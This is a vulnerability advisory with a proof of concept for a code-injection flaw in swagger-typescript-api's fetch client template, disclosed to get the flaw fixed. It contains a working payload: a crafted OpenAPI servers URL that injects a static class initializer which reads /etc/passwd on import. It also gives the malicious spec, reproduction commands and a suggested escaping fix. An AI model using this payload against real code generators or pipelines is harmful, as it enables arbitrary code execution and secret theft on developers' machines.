swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in fetch http-client template

Summary

swagger-typescript-api interpolates servers[0].url directly into a TypeScript class-body field initializer of the generated fetch HttpClient (templates/base/http-clients/fetch-http-client.ejs:75), without any escaping. A malicious URL containing a " closes the string literal that initializes public baseUrl and exposes the surrounding class body to injection. The most direct exploit declares a new static field whose initializer is an async IIFE — TypeScript evaluates static field initializers at class definition time, which is at module load. A consumer who imports the generated client (or anything that transitively imports it) executes the injected code with no further interaction — no instantiation, no method call, no use of the baseUrl. The attacker controls the OpenAPI spec; the victim is whoever runs the generator and imports the result.

This is the highest-impact sink in the package: the trigger requires only a bare import of the generated module.

Details

createApiConfig in src/code-gen-process.ts:591 sets the templated baseUrl from the spec without sanitization:

return {
  ...
  baseUrl: serverUrl,     // <-- serverUrl = swaggerSchema.servers[0].url, raw
  ...
};

The fetch http-client template (templates/base/http-clients/fetch-http-client.ejs:75) then interpolates that value into a TS string literal that initializes a public class-body field of the generated HttpClient:

export class HttpClient<SecurityDataType = unknown> {
    public baseUrl: string = "<%~ apiConfig.baseUrl %>";
    private securityData: SecurityDataType | null = null;
    ...
}

<%~ %> is Eta's raw, unescaped interpolation. The codebase's only escape function — escapeJSDocContent (src/schema-parser/schema-formatters.ts:127) — only replaces */ and is not applied to this path.

TypeScript class-body grammar permits any number of field declarations and static blocks between { and }. A spec value of the form:

URL"; static _pwn = (IIFE)(); public x: string = "

produces the following class body:

export class HttpClient<SecurityDataType = unknown> {
  public baseUrl: string = "URL";
  static _pwn = (IIFE)();    // <-- static field initializer
  public x: string = "";
  private securityData: SecurityDataType | null = null;
  ...
}

The static _pwn = (IIFE)() declaration's initializer is evaluated at class definition — i.e. when the TS class declaration is processed, which is at the moment the generated module is imported. The trailing public x: string = " reopens a string that the template's own closing " terminates, keeping the file syntactically valid TypeScript.

The same Api class (in default/api.ejs) extends HttpClient. Importing the generated module evaluates the HttpClient class declaration during module initialization — no new HttpClient(), no new Api(), no method call. Importing anything that transitively depends on the generated module is sufficient.

PoC

Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary). Tested on [email protected] and Node v24.11.1.

Malicious servers[0].url (literal string, JSON-encoded in the spec below):

https://api.example.com"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = "

Minimal payload spec:

{
  "openapi": "3.0.0",
  "info": { "title": "FetchPayloadAPI", "version": "1.0.0" },
  "servers": [
    {
      "url": "https://api.example.com\"; static _pwn = (async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} })(); public x: string = \""
    }
  ],
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": { "200": { "description": "OK" } }
      }
    }
  }
}

Steps:

npm install [email protected] esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Generated out/Api.ts (HttpClient class body — payload, Biome-formatted):

export class HttpClient<SecurityDataType = unknown> {
  public baseUrl: string = "https://api.example.com";
  static _pwn = (async () => {
    try {
      const fs = await import("node:fs");
      const data = fs.readFileSync("/etc/passwd", "utf8");
      fs.writeFileSync("/tmp/sta_canary", data);
    } catch (e) {}
  })();
  public x: string = "";
  private securityData: SecurityDataType | null = null;
  ...
}

static _pwn = (async () => { ... })() is a real TypeScript static class field declaration — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed. The IIFE evaluates when the class declaration is processed, schedules fs.readFileSync('/etc/passwd'), and writes the exfiltrated contents to /tmp/sta_canary.

Result: after a bare await import('./out/Api.bundle.mjs') (no instantiation, no method call), /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (servers[0].url: "https://api.example.com") generates a clean public baseUrl: string = "https://api.example.com"; and writes no canary.

Impact

Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).

Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely:

• sta generate --url https://attacker.example/openapi.json — a public, third-party, or attacker-hosted spec.
• A CI/CD pipeline regenerating fetch-based clients from a vendor / partner spec on each build.
• A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
• Any project pinned to a spec file that a contributor can modify via PR.

Lifecycle: the injected static initializer fires at module load — the moment the generated module is imported. A consumer does not need to instantiate HttpClient, does not need to construct Api, does not need to call any API method, does not need to read the baseUrl. Importing the generated module (or anything that transitively imports it) is sufficient. This is the absolute minimum interaction a consumer can have with a generated client.

Privilege: the IIFE runs with the full privileges of the importing process — read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, make network requests, etc.

Suggested fix: sanitize apiConfig.baseUrl once at the source in src/code-gen-process.ts:591:

// in createApiConfig
baseUrl: escapeJsStringLiteral(serverUrl),

where escapeJsStringLiteral produces a properly-escaped JS string literal — at minimum escaping ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators / . JSON.stringify(serverUrl).slice(1, -1) is a one-line acceptable implementation. This single change also closes the axios sibling sink at templates/base/http-clients/axios-http-client.ejs:71 (filed separately), since both templates read the same apiConfig.baseUrl value.

If a template-side fix is preferred instead, both templates/base/http-clients/fetch-http-client.ejs:75 and templates/base/http-clients/axios-http-client.ejs:71 need their <%~ apiConfig.baseUrl %> swapped for the escaped form — fixing only one leaves the other exploitable.

Submitted by: Hamza Haroon (thegr1ffyn)